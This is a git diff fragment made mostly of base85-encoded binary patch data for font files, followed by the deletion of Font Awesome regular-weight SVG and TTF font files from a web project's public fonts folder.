zCBIPjrfxHA`5#bV>W_$5 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 HJNN#7)2yBs diff --git a/pages/widgets/_snippets/public/fonts/fa-regular-400.svg b/pages/widgets/_snippets/public/fonts/fa-regular-400.svg deleted file mode 100644 index 13180f6..0000000 --- a/pages/widgets/_snippets/public/fonts/fa-regular-400.svg +++ /dev/null @@ -1,803 +0,0 @@ - - - - - -Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 - By Robert Madole -Copyright (c) Font Awesome - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/pages/widgets/_snippets/public/fonts/fa-regular-400.ttf b/pages/widgets/_snippets/public/fonts/fa-regular-400.ttf deleted file mode 100644 index abe99e20c38a23e95295917d6a5cdb49a8489eb8..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 34092 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 